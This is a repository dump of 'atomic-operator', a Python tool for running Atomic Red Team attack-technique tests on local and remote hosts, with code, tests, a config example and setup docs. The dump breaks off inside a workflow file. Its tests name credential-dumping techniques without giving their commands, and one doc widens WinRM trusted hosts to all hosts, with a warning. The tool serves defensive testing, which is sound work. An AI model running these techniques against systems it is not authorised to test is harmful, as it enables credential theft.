├── atomic_operator ├── utils │ ├── __init__.py │ ├── exceptions.py │ └── logger.py ├── atomic │ ├── __init__.py │ ├── atomic.py │ ├── atomictest.py │ └── loader.py ├── execution │ ├── __init__.py │ ├── localrunner.py │ ├── awsrunner.py │ ├── copier.py │ ├── runner.py │ ├── remoterunner.py │ └── statemachine.py ├── __main__.py ├── __init__.py ├── data │ └── logging.yml ├── models.py ├── base.py ├── configparser.py └── atomic_operator.py ├── docs ├── CNAME ├── models-ref.md ├── execution-ref.md ├── atomic-operator-ref.md ├── LICENSE.md ├── atomics.md ├── windows-remote.md ├── CHANGELOG.md ├── atomic-operator-config.md ├── running-tests-script.md ├── CONTRIBUTING.md ├── running-tests-command-line.md ├── atomic-operator.md ├── atomic-operator-logo.svg └── index.md ├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE │ ├── feature_request.md │ └── bug_report.md └── workflows │ ├── quality.yml │ └── main.yml ├── tests ├── conftest.py ├── data │ ├── atomic_operator_config.yml │ ├── test_atomic2.yml │ └── test_atomic.yml ├── test_config_parser.py ├── test_art_loader.py ├── test_art.py ├── test_art_atomic.py └── test_atomic_operator_base.py ├── .readthedocs.yaml ├── Makefile ├── make.bat ├── images ├── coverage.svg ├── macos_support.svg ├── ubuntu_support.svg ├── windows_support.svg └── atomic-operator-logo.svg ├── config.example.yml ├── LICENSE.md ├── pyproject.toml ├── mkdocs.yml ├── .gitignore ├── CONTRIBUTING.md ├── CHANGELOG.md └── README.md /atomic_operator/utils/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/CNAME: -------------------------------------------------------------------------------- 1 | www.atomic-operator.com -------------------------------------------------------------------------------- /atomic_operator/atomic/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | GitHub: [MSAdministrator] 2 | -------------------------------------------------------------------------------- /docs/models-ref.md: -------------------------------------------------------------------------------- 1 | ::: atomic_operator.models 2 | ::: atomic_operator.atomic.atomic 3 | ::: atomic_operator.atomic.atomictest 4 | -------------------------------------------------------------------------------- /atomic_operator/execution/__init__.py: -------------------------------------------------------------------------------- 1 | from .awsrunner import AWSRunner 2 | from .localrunner import LocalRunner 3 | from .remoterunner import RemoteRunner 4 | -------------------------------------------------------------------------------- /docs/execution-ref.md: -------------------------------------------------------------------------------- 1 | ::: atomic_operator_runner.runner 2 | ::: atomic_operator_runner.remote 3 | ::: atomic_operator_runner.local 4 | ::: atomic_operator_runner.aws 5 | -------------------------------------------------------------------------------- /docs/atomic-operator-ref.md: -------------------------------------------------------------------------------- 1 | ::: atomic_operator.atomic_operator 2 | ::: atomic_operator.base 3 | ::: atomic_operator.configparser 4 | ::: atomic_operator.models 5 | ::: atomic_operator.atomic.atomic 6 | ::: atomic_operator.atomic.atomictest 7 | ::: atomic_operator.atomic.loader -------------------------------------------------------------------------------- /tests/conftest.py: -------------------------------------------------------------------------------- 1 | import os 2 | import atomic_operator 3 | 4 | import pytest 5 | 6 | 7 | @pytest.fixture 8 | def default_art_fixture(): 9 | from atomic_operator import AtomicOperator 10 | atomic_op = AtomicOperator() 11 | atomic_op.get_atomics(desintation=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) 12 | return atomic_op 13 | -------------------------------------------------------------------------------- /tests/data/atomic_operator_config.yml: -------------------------------------------------------------------------------- 1 | 2 | atomic_tests: 3 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 4 | input_arguments: 5 | output_file: 6 | value: custom_output.txt 7 | input_file: 8 | value: custom_input.txt 9 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 10 | input_arguments: 11 | second_arg: 12 | value: SWAPPPED argument 13 | - guid: 32f90516-4bc9-43bd-b18d-2cbe0b7ca9b2 -------------------------------------------------------------------------------- /atomic_operator/__main__.py: -------------------------------------------------------------------------------- 1 | import fire 2 | 3 | from atomic_operator import AtomicOperator 4 | 5 | 6 | def main(): 7 | atomic_operator = AtomicOperator() 8 | fire.Fire( 9 | { 10 | "run": atomic_operator.run, 11 | "get_atomics": atomic_operator.get_atomics, 12 | "help": atomic_operator.help, 13 | "search": atomic_operator.search, 14 | } 15 | ) 16 | 17 | 18 | if __name__ == "__main__": 19 | main() 20 | -------------------------------------------------------------------------------- /tests/test_config_parser.py: -------------------------------------------------------------------------------- 1 | from atomic_operator.configparser import ConfigParser 2 | from atomic_operator.base import Base 3 | 4 | def test_config_parser(): 5 | config = ConfigParser( 6 | config_file='config.example.yml', 7 | techniques=Base().parse_input_lists("T1003,T1004"), 8 | host_list=Base().parse_input_lists("123.123.123.123, 1.1.1.1"), 9 | username='username', 10 | password='password' 11 | ) 12 | assert isinstance(config.run_list, list) 13 | -------------------------------------------------------------------------------- /.readthedocs.yaml: -------------------------------------------------------------------------------- 1 | # .readthedocs.yaml 2 | # Read the Docs configuration file 3 | # See https://docs.readthedocs.io/en/stable/config-file/v2.html for details 4 | 5 | # Required 6 | version: 2 7 | 8 | # Set the version of Python and other tools you might need 9 | build: 10 | os: ubuntu-20.04 11 | tools: 12 | python: "3.7" 13 | 14 | mkdocs: 15 | configuration: mkdocs.yml 16 | 17 | # Optionally declare the Python requirements required to build your docs 18 | python: 19 | install: 20 | - requirements: requirements.txt 21 | - requirements: requirements-dev.txt -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Minimal makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line, and also 5 | # from the environment for the first two. 6 | SPHINXOPTS ?= 7 | SPHINXBUILD ?= sphinx-build 8 | SOURCEDIR = source 9 | BUILDDIR = build 10 | 11 | # Put it first so that "make" without argument is like "make help". 12 | help: 13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 14 | 15 | .PHONY: help Makefile 16 | 17 | # Catch-all target: route all unknown targets to Sphinx using the new 18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). 19 | %: Makefile 20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 21 | -------------------------------------------------------------------------------- /tests/test_art_loader.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pytest import raises 3 | from atomic_operator.atomic.loader import Loader 4 | from atomic_operator.atomic.atomic import Atomic 5 | from atomic_operator.atomic.atomictest import AtomicTest 6 | 7 | 8 | def test_load_technique(): 9 | path = os.path.join(os.path.dirname(__file__), 'data', 'test_atomic2.yml') 10 | data = Loader().load_technique(path) 11 | data.update({'path': path }) 12 | assert isinstance(data, dict) 13 | 14 | 15 | def test_convert_to_atomic_object(): 16 | path = os.path.join(os.path.dirname(__file__), 'data', 'test_atomic2.yml') 17 | data = Loader().load_technique(path) 18 | data.update({'path': path }) 19 | atomic = Atomic(**data) 20 | assert isinstance(atomic, Atomic) 21 | assert len(atomic.atomic_tests) >= 1 -------------------------------------------------------------------------------- /atomic_operator/atomic/atomic.py: -------------------------------------------------------------------------------- 1 | import os 2 | import typing 3 | 4 | import attr 5 | 6 | from ..models import Host 7 | from .atomictest import AtomicTest 8 | 9 | 10 | @attr.s 11 | class Atomic: 12 | """A single Atomic data structure. Each Atomic (technique) 13 | will contain a list of one or more AtomicTest objects. 14 | """ 15 | 16 | attack_technique = attr.ib() 17 | display_name = attr.ib() 18 | path = attr.ib() 19 | atomic_tests: typing.List[AtomicTest] = attr.ib() 20 | hosts: typing.List[Host] = attr.ib(default=None) 21 | 22 | def __attrs_post_init__(self): 23 | if self.atomic_tests: 24 | test_list = [] 25 | for test in self.atomic_tests: 26 | test_list.append(AtomicTest(**test)) 27 | self.atomic_tests = test_list 28 | -------------------------------------------------------------------------------- /atomic_operator/__init__.py: -------------------------------------------------------------------------------- 1 | """Main init for AtomicOperator package.""" 2 | from .atomic_operator import AtomicOperator 3 | 4 | __title__ = "atomic-operator" 5 | __description__ = "A python package to execute Atomic tests" 6 | __url__ = "https://github.com/swimlane/atomic-operator" 7 | __version__ = "0.9.1" 8 | __author__ = "Swimlane" 9 | __author_email__ = "info@swimlane.com" 10 | __maintainer__ = "MSAdministrator" 11 | __maintainer_email__ = "rickardja@live.com" 12 | __license__ = "MIT" 13 | __copyright__ = "Copyright 2022 Swimlane" 14 | 15 | __all__ = [ 16 | "AtomicOperator", 17 | "__title__", 18 | "__description__", 19 | "__url__", 20 | "__version__", 21 | "__author__", 22 | "__author_email__", 23 | "__maintainer__", 24 | "__maintainer_email__", 25 | "__license__", 26 | "__copyright__", 27 | ] 28 | -------------------------------------------------------------------------------- /make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | pushd %~dp0 4 | 5 | REM Command file for Sphinx documentation 6 | 7 | if "%SPHINXBUILD%" == "" ( 8 | set SPHINXBUILD=sphinx-build 9 | ) 10 | set SOURCEDIR=source 11 | set BUILDDIR=build 12 | 13 | if "%1" == "" goto help 14 | 15 | %SPHINXBUILD% >NUL 2>NUL 16 | if errorlevel 9009 ( 17 | echo. 18 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 19 | echo.installed, then set the SPHINXBUILD environment variable to point 20 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 21 | echo.may add the Sphinx directory to PATH. 22 | echo. 23 | echo.If you don't have Sphinx installed, grab it from 24 | echo.http://sphinx-doc.org/ 25 | exit /b 1 26 | ) 27 | 28 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 29 | goto end 30 | 31 | :help 32 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 33 | 34 | :end 35 | popd 36 | -------------------------------------------------------------------------------- /images/coverage.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | coverage 17 | coverage 18 | 55% 19 | 55% 20 | 21 | 22 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. -------------------------------------------------------------------------------- /config.example.yml: -------------------------------------------------------------------------------- 1 | inventory: 2 | windows1: 3 | executor: powershell # or cmd 4 | authentication: 5 | username: username 6 | password: some_passowrd! 7 | verify_ssl: false 8 | hosts: 9 | - 192.168.1.1 10 | - 10.32.1.1 11 | # etc 12 | linux1: 13 | executor: ssh 14 | authentication: 15 | username: username 16 | password: some_passowrd! 17 | #ssk_key_path: 18 | port: 22 19 | timeout: 5 20 | hosts: 21 | - 192.168.1.1 22 | - 10.32.100.1 23 | # etc. 24 | atomic_tests: 25 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 26 | input_arguments: 27 | output_file: 28 | value: custom_output.txt 29 | input_file: 30 | value: custom_input.txt 31 | inventories: 32 | - windows1 33 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 34 | input_arguments: 35 | second_arg: 36 | value: SWAPPPED argument 37 | inventories: 38 | - windows1 39 | - linux1 40 | - guid: c141bbdb-7fca-4254-9fd6-f47e79447e17 41 | inventories: 42 | - linux1 -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Swimlane 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /docs/LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Swimlane 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /docs/atomics.md: -------------------------------------------------------------------------------- 1 | # Atomics 2 | 3 | As part of the [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) project by [RedCanary](https://redcanary.com/), you must have these [atomics](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics) on you local system. 4 | 5 | `atomic-operator` uses these defined MITRE ATT&CK Technique tests (atomics) to run tests on your local system. 6 | 7 | ## Get Atomics 8 | 9 | `atomic-operator` provides you with the ability to download the Atomic Red Team repository. You can do so by running the following at the command line: 10 | 11 | ```bash 12 | atomic-operator get_atomics 13 | # You can specify the destination directory by using the --destination flag 14 | atomic-operator get_atomics --destination "/tmp/some_directory" 15 | ``` 16 | 17 | Secondarily, you can also just clone or download the Atomics to your local system. To clone this repository, you can run: 18 | 19 | ```bash 20 | git clone https://github.com/redcanaryco/atomic-red-team.git 21 | cd atomic-red-team 22 | ``` 23 | 24 | You can also download this repository to your local system and extract the downloaded .zip. 25 | 26 | That's it! Once you have one or more atomics on your local system then we can begin to use `atomic-operator` to run these tests. 27 | -------------------------------------------------------------------------------- /atomic_operator/utils/exceptions.py: -------------------------------------------------------------------------------- 1 | """All custom exceptions for Atomic Operator.""" 2 | 3 | 4 | class PlatformNotSupportedError(Exception): 5 | """Raised when a platform is not supported by Atomic Operator.""" 6 | 7 | def __init__(self, provided_platform: str, supported_platforms: list = []) -> None: 8 | """Main init for the PlatformNotSupportedError exception.""" 9 | from ..base import Base 10 | 11 | Base().log( 12 | message=f"Provided platform '{provided_platform}' is not supported by Atomic Operator. Supported platforms are: {supported_platforms}", 13 | level="error", 14 | ) 15 | 16 | 17 | class IncorrectParameters(Exception): 18 | 19 | """ 20 | Raised when the incorrect configuration of parameters is passed into a Class 21 | """ 22 | 23 | pass 24 | 25 | 26 | class MissingDefinitionFile(Exception): 27 | 28 | """ 29 | Raised when a definition file cannot be find 30 | """ 31 | 32 | pass 33 | 34 | 35 | class AtomicsFolderNotFound(Exception): 36 | 37 | """Raised when unable to find a folder containing Atomics""" 38 | 39 | pass 40 | 41 | 42 | class MalformedFile(Exception): 43 | 44 | """Raised when a file does not meet an expected and defined format structure""" 45 | 46 | pass 47 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "atomic-operator" 3 | version = "0.9.1" 4 | description = "A python package to execute security tests on remote and local hosts" 5 | authors = ["MSAdministrator "] 6 | maintainers = ["MSAdministrator "] 7 | readme = "README.md" 8 | packages = [{include = "atomic_operator"}] 9 | include = [ 10 | "atomic_operator/data/logging.yml" 11 | ] 12 | homepage = "https://atomic-operator.com" 13 | repository = "https://github.com/swimlane/atomic-operator" 14 | documentation = "https://atomic-operator.com" 15 | license = "MIT" 16 | 17 | [tool.poetry.scripts] 18 | atomic-operator = "atomic_operator.__main__:main" 19 | 20 | [tool.poetry.dependencies] 21 | python = "^3.8" 22 | atomic-operator-runner = "^0.2.1" 23 | fire = "^0.5.0" 24 | pick = "^2.2.0" 25 | rich = "^13.3.1" 26 | attrs = "^23.1.0" 27 | 28 | [tool.poetry.group.dev.dependencies] 29 | pytest = "^7.2.1" 30 | pylama = "^8.4.1" 31 | coverage = "^7.1.0" 32 | Jinja2 = "^3.1.2" 33 | mkdocs = "^1.4.2" 34 | mkdocs-material = "^9.0.12" 35 | mkdocs-material-extensions = "^1.1.1" 36 | mkdocstrings = "^0.20.0" 37 | black = "^23.1.0" 38 | isort = "^5.12.0" 39 | bandit = "^1.7.4" 40 | 41 | [build-system] 42 | requires = ["poetry-core"] 43 | build-backend = "poetry.core.masonry.api" 44 | -------------------------------------------------------------------------------- /mkdocs.yml: -------------------------------------------------------------------------------- 1 | site_name: atomic-operator 2 | site_description: This python package is used to execute Atomic Red Team tests (Atomics) across multiple operating system environments. 3 | docs_dir: docs 4 | theme: 5 | name: 'material' 6 | nav: 7 | - Home: 'index.md' 8 | - Documentation: 9 | - 'Get Atomics': 'atomics.md' 10 | - 'Atomic Operator': 'atomic-operator.md' 11 | - 'Running Tests on Command Line': 'running-tests-command-line.md' 12 | - 'Running Tests via Scripts': 'running-tests-script.md' 13 | - 'Running Tests Remotely On Windows': 'windows-remote.md' 14 | - 'Running Tests via Configuration File': 'atomic-operator-config.md' 15 | - Code Reference: 16 | 'Atomic Operator': 'atomic-operator-ref.md' 17 | 'Data Models': 'models-ref.md' 18 | 'Executors': 'execution-ref.md' 19 | - About: 20 | - 'License': 'LICENSE.md' 21 | - 'Contributing': 'CONTRIBUTING.md' 22 | - 'Changelog': 'CHANGELOG.md' 23 | plugins: 24 | - search 25 | - mkdocstrings: 26 | handlers: 27 | python: 28 | selection: 29 | filters: 30 | - "!^_" # exlude all members starting with _ 31 | - "^__init__$" # but always include __init__ modules and methods 32 | - mike: 33 | version_selector: true 34 | extra: 35 | version: 36 | provider: mike -------------------------------------------------------------------------------- /atomic_operator/data/logging.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: 1 3 | disable_existing_loggers: False 4 | formatters: 5 | simple: 6 | format: "%(asctime)s - %(name)s - %(levelname)s - %(message)s" 7 | 8 | handlers: 9 | console: 10 | class: logging.StreamHandler 11 | level: DEBUG 12 | formatter: simple 13 | stream: ext://sys.stdout 14 | 15 | info_file_handler: 16 | class: logging.handlers.RotatingFileHandler 17 | level: INFO 18 | formatter: simple 19 | filename: info.log 20 | maxBytes: 10485760 # 10MB 21 | backupCount: 20 22 | encoding: utf8 23 | 24 | error_file_handler: 25 | class: logging.handlers.RotatingFileHandler 26 | level: ERROR 27 | formatter: simple 28 | filename: errors.log 29 | maxBytes: 10485760 # 10MB 30 | backupCount: 20 31 | encoding: utf8 32 | 33 | warning_file_handler: 34 | class: logging.handlers.RotatingFileHandler 35 | level: WARNING 36 | formatter: simple 37 | filename: warnings.log 38 | maxBytes: 10485760 # 10MB 39 | backupCount: 20 40 | encoding: utf8 41 | 42 | loggers: 43 | my_module: 44 | level: INFO 45 | handlers: [console] 46 | propagate: no 47 | 48 | root: 49 | level: INFO 50 | handlers: [console, info_file_handler, error_file_handler, warning_file_handler] -------------------------------------------------------------------------------- /docs/windows-remote.md: -------------------------------------------------------------------------------- 1 | # Running Tests Remotely On Windows 2 | 3 | > NOTE: To use this on your remote Windows machines, you need to do the following: 4 | 5 | 1. Run from an elevated PowerShell prompt 6 | 7 | ```powershell 8 | winrm quickconfig (type yes) 9 | Enable-PSRemoting (type yes) 10 | # Set start mode to automatic 11 | Set-Service WinRM -StartMode Automatic 12 | # Verify start mode and state - it should be running 13 | Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} 14 | ``` 15 | 16 | 2. Additionally you may need to specify the allowed host to remote into systems: 17 | 18 | ```powershell 19 | # Trust hosts 20 | Set-Item 'WSMan:localhost\client\trustedhosts' -value * -Force 21 | NOTE: don't use the * for the value parameter in production - specify your Swimlane instance IP 22 | # Verify trusted hosts configuration 23 | Get-Item WSMan:\localhost\Client\TrustedHosts 24 | ``` 25 | 26 | 3. Additional Troubleshooting 27 | 28 | ```powershell 29 | #If you receive a timeout error or something like that, check and make sure that your remote Windows host network is set to Private and NOT public. You can change it using the following: 30 | 31 | # Get Network Profile 32 | Get-NetConnectionProfile 33 | 34 | # if the NetworkCategory is set to Public then run the following to set it to Private 35 | 36 | Set-NetConnectionProfile -InterfaceAlias Ethernet0 -NetworkCategory Private 37 | # try it again 38 | ``` 39 | -------------------------------------------------------------------------------- /tests/test_art.py: -------------------------------------------------------------------------------- 1 | import os 2 | from atomic_operator.atomic.loader import Loader 3 | from atomic_operator.configparser import ConfigParser 4 | 5 | 6 | def test_download_of_atomic_red_team_repo(): 7 | from atomic_operator import AtomicOperator 8 | AtomicOperator().get_atomics(desintation=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) 9 | for item in os.listdir(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))): 10 | if 'redcanaryco-atomic-red-team' in item and os.path.isdir(item): 11 | assert True 12 | 13 | def test_loading_of_technique(): 14 | assert Loader().load_technique(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data', 'atomic_operator_config.yml')) 15 | 16 | def test_parsing_of_config(): 17 | from atomic_operator.models import Config 18 | from atomic_operator.base import Base 19 | from atomic_operator import AtomicOperator 20 | 21 | atomics_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 22 | AtomicOperator().get_atomics(desintation=atomics_path) 23 | Base.CONFIG = Config(atomics_path=atomics_path) 24 | config_parser = ConfigParser(config_file=os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data', 'atomic_operator_config.yml')) 25 | 26 | assert config_parser.is_defined('f7e6ec05-c19e-4a80-a7e7-241027992fdb') 27 | inputs = config_parser.get_inputs('f7e6ec05-c19e-4a80-a7e7-241027992fdb') 28 | assert inputs.get('output_file') 29 | assert inputs.get('input_file') 30 | assert config_parser.is_defined('3ff64f0b-3af2-3866-339d-38d9791407c3') 31 | assert config_parser.is_defined('32f90516-4bc9-43bd-b18d-2cbe0b7ca9b2') 32 | -------------------------------------------------------------------------------- /atomic_operator/utils/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import logging.config 3 | import os 4 | from logging import CRITICAL, DEBUG, ERROR, INFO, WARNING, FileHandler 5 | 6 | import yaml 7 | 8 | 9 | class DebugFileHandler(FileHandler): 10 | def __init__(self, filename, mode="a", encoding=None, delay=False): 11 | super().__init__(filename, mode, encoding, delay) 12 | 13 | def emit(self, record): 14 | if not record.levelno == DEBUG: 15 | return 16 | super().emit(record) 17 | 18 | 19 | class LoggingBase(type): 20 | def __init__(cls, *args): 21 | super().__init__(*args) 22 | cls.setup_logging() 23 | 24 | # Explicit name mangling 25 | logger_attribute_name = "_" + cls.__name__ + "__logger" 26 | 27 | # Logger name derived accounting for inheritance for the bonus marks 28 | logger_name = ".".join([c.__name__ for c in cls.mro()[-2::-1]]) 29 | 30 | setattr(cls, logger_attribute_name, logging.getLogger(logger_name)) 31 | 32 | def setup_logging( 33 | cls, default_path="./atomic_operator/data/logging.yml", default_level=logging.INFO, env_key="LOG_CFG" 34 | ): 35 | """Setup logging configuration""" 36 | path = os.path.abspath(os.path.expanduser(os.path.expandvars(default_path))) 37 | value = os.getenv(env_key, None) 38 | if value: 39 | path = value 40 | if os.path.exists(os.path.abspath(path)): 41 | with open(path, "rt") as f: 42 | config = yaml.safe_load(f.read()) 43 | logger = logging.config.dictConfig(config) 44 | else: 45 | logger = logging.basicConfig(level=default_level) 46 | -------------------------------------------------------------------------------- /atomic_operator/models.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import attr 4 | 5 | from .base import Base 6 | from .utils.exceptions import AtomicsFolderNotFound 7 | 8 | 9 | # Setting frozen to True means immutability (static) values once set 10 | @attr.s(frozen=True) 11 | class Config: 12 | 13 | """The main configuration class used across atomic-operator 14 | 15 | Raises: 16 | AtomicsFolderNotFound: Raised when unable to find the provided atomics_path value 17 | """ 18 | 19 | atomics_path = attr.ib() 20 | check_prereqs = attr.ib(default=False) 21 | get_prereqs = attr.ib(default=False) 22 | cleanup = attr.ib(default=False) 23 | command_timeout = attr.ib(default=20) 24 | debug = attr.ib(default=False) 25 | prompt_for_input_args = attr.ib(default=False) 26 | kwargs = attr.ib(default={}) 27 | copy_source_files = attr.ib(default=True) 28 | 29 | def __attrs_post_init__(self): 30 | object.__setattr__(self, "atomics_path", self.__get_abs_path(self.atomics_path)) 31 | 32 | def __get_abs_path(self, value): 33 | return os.path.abspath(os.path.expanduser(os.path.expandvars(value))) 34 | 35 | @atomics_path.validator 36 | def validate_atomics_path(self, attribute, value): 37 | value = self.__get_abs_path(value) 38 | if not os.path.exists(value): 39 | raise AtomicsFolderNotFound("Please provide a value for atomics_path that exists") 40 | 41 | 42 | @attr.s 43 | class Host: 44 | hostname = attr.ib(type=str) 45 | username = attr.ib(default=None, type=str) 46 | password = attr.ib(default=None, type=str) 47 | verify_ssl = attr.ib(default=False, type=bool) 48 | ssh_key_path = attr.ib(default=None, type=str) 49 | private_key_string = attr.ib(default=None, type=str) 50 | port = attr.ib(default=22, type=int) 51 | timeout = attr.ib(default=5, type=int) 52 | 53 | @ssh_key_path.validator 54 | def validate_ssh_key_path(self, attribute, value): 55 | if value: 56 | Base.get_abs_path(value) 57 | -------------------------------------------------------------------------------- /tests/test_art_atomic.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pytest import raises 3 | from atomic_operator.atomic.loader import Loader 4 | from atomic_operator.atomic.atomic import Atomic 5 | from atomic_operator.atomic.atomictest import AtomicTest 6 | from atomic_operator.atomic.atomictest import AtomicExecutor 7 | 8 | 9 | def test_load_atomic(): 10 | path = os.path.join(os.path.dirname(__file__), 'data', 'test_atomic.yml') 11 | data = Loader().load_technique(path) 12 | data.update({'path': path}) 13 | assert Atomic(**data) 14 | 15 | def test_atomic_structure(): 16 | path = os.path.join(os.path.dirname(__file__), 'data', 'test_atomic.yml') 17 | data = Loader().load_technique(path) 18 | data.update({'path': path}) 19 | atomic = Atomic(**data) 20 | assert atomic.attack_technique == 'T1003.007' 21 | assert atomic.display_name == 'OS Credential Dumping: Proc Filesystem' 22 | assert atomic.path == path 23 | 24 | def test_atomic_test_structure(): 25 | path = os.path.join(os.path.dirname(__file__), 'data', 'test_atomic.yml') 26 | data = Loader().load_technique(path) 27 | data.update({'path': path}) 28 | atomic = Atomic(**data) 29 | assert isinstance(atomic.atomic_tests, list) 30 | for test in atomic.atomic_tests: 31 | assert isinstance(test, AtomicTest) 32 | assert test.name 33 | assert test.description 34 | assert test.supported_platforms 35 | assert test.auto_generated_guid 36 | assert isinstance(test.executor, AtomicExecutor) 37 | 38 | def test_atomic_test_replace_command_strings(): 39 | path = os.path.join(os.path.dirname(__file__), 'data', 'test_atomic.yml') 40 | data = Loader().load_technique(path) 41 | data.update({'path': path}) 42 | atomic = Atomic(**data) 43 | input_arguments = { 44 | 'output_file': '/tmp/myoutputfile.txt', 45 | 'script_path': '/tmp/myscriptpath.sh', 46 | 'pid_term': 'mytargetprocess' 47 | } 48 | for test in atomic.atomic_tests: 49 | if test.name == 'Dump individual process memory with sh (Local)': 50 | assert test.executor.name == 'sh' 51 | assert test.executor.elevation_required == True 52 | -------------------------------------------------------------------------------- /.github/workflows/quality.yml: -------------------------------------------------------------------------------- 1 | name: Quality Check 2 | on: [push] 3 | 4 | jobs: 5 | code-quality: 6 | strategy: 7 | fail-fast: false 8 | matrix: 9 | python-version: ["3.8"] 10 | poetry-version: ["1.3.2"] 11 | os: [ubuntu-latest] 12 | runs-on: ${{ matrix.os }} 13 | steps: 14 | - uses: 